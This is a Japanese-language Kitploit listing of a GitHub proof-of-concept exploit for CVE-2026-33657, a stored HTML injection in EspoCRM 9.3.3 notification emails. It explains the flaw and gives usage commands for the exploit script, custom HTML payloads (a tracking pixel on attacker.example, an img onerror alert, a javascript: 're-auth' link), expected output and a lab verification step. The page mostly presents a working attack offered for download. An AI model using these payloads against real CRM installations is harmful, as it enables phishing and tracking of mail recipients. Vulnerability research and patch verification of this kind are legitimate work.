Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - メール通知における保存型HTMLインジェクション | Kitploit
ツール/GitHubGitHub/entrovyx/cve-2026-33657
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - メール通知における保存型HTMLインジェクション

リポジトリを見る
74ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33657 - EspoCRM 9.3.3 メール通知における保存型HTMLインジェクション

EspoCRM 9.3.3のメール通知における保存型HTMLインジェクションの認証済み概念実証。

概要

EspoCRM 9.3.3は、ストリームノート通知メールをレンダリングする際に、ノート本文をMarkdownで変換し、その結果のHTMLをトリプルブレース({{{post}}})でメールテンプレートに挿入します。ストリーム投稿を作成して通知をトリガーできる認証済みユーザーは、後で生成されるメール本文にレンダリングされる攻撃者制御のHTMLを保存できます。

このエクスプロイトは、攻撃者が制御するリモート部分のフローを実行します:

  1. EspoCRMに認証します。
  2. オプションで /api/v1/App/user を使用してバージョンをフィンガープリントします。
  3. HTMLを含む悪意のある Note を作成します。
  4. --mention または --target-user-id を使用して通知ターゲットをキューに入れます。
  5. ペイロードが保存され、通知ターゲットがAPIレスポンスに存在することを確認します。

メール配信は、EspoCRMの通常の SendEmailNotifications ジョブまたはcronがキューに入れられた通知を処理するときに発生します。

影響を受けるバージョン

  • 脆弱性あり: EspoCRM 9.3.3
  • 修正済み: EspoCRM 9.3.4
  • アドバイザリ: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

要件

  • Python 3
  • requests
  • 有効なEspoCRM認証情報
  • ストリーム Note レコードを作成する権限
  • 通知ターゲット:
    • メンションメール通知用の --mention <username>、または
    • ターゲット指定ストリーム投稿通知用の --target-user-id <id>

依存関係のインストール:

python3 -m pip install requests

使用方法

推奨されるメンションベースのパス:

python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

カスタムトラッキングURLを使用:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

完全にカスタムなHTMLペイロードを使用:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

メンションではなく特定のユーザーIDをターゲットにする:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

ノートを作成せずにフィンガープリントのみ:

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

オプション

-u, --url                 EspoCRMのベースURL
-U, --username            EspoCRMのユーザー名
-P, --password            EspoCRMのパスワード
--mention                 メンションするユーザー名(@なし)
--target-user-id          ターゲット指定ストリーム投稿通知用のユーザーID
--target-user-name        --target-user-id の表示名
--payload                 Noteに保存する生のHTMLペイロード
--tracking-url            デフォルトペイロードで使用されるトラッキングピクセルURL
--link-url                デフォルトペイロードで使用されるリンクURL
--marker                  ペイロードの前に付加されるマーカーテキスト
--detect-only             バージョンのフィンガープリントのみ。Noteは作成しない
--skip-version-check      エクスプロイト前に /api/v1/App/user をスキップ
--force                   バージョンフィンガープリントが9.3.3でなくても続行
--insecure                TLS証明書の検証を無効化

期待される出力

成功した実行では、悪意のあるノートが作成され、通知ターゲットが確認されます:

[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

脆弱なインスタンスでは、生成されたHTMLメール本文はインジェクションされたHTMLを保持します。ラボでのキャプチャは次のようになります:

<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

ラボでの検証

ローカルのEspoCRMラボで、エクスプロイト実行後に通知ジョブをトリガーします:

sudo -u www-data php command.php run-job SendEmailNotifications

結果のメール本文には、text/html 部分にインジェクションされたHTMLが含まれている必要があります。

注意事項

  • このエクスプロイトはターゲットへのシェルアクセスを必要としません。シェルアクセスは、キューに入れられたメールジョブのローカルラボ検証にのみ役立ちます。
  • APIが @@version を報告する場合、ターゲットはソースツリービルドである可能性があります。基盤となるコードが依然として脆弱な9.3.3タグである可能性があるため、スクリプトは続行します。
  • --mention が解析されたメンションを生成しない場合は、攻撃者の messagePermission と mentionPermission を確認し、ターゲットのユーザー名が存在して通知を受信できることを確認してください。
ツールをダウンロード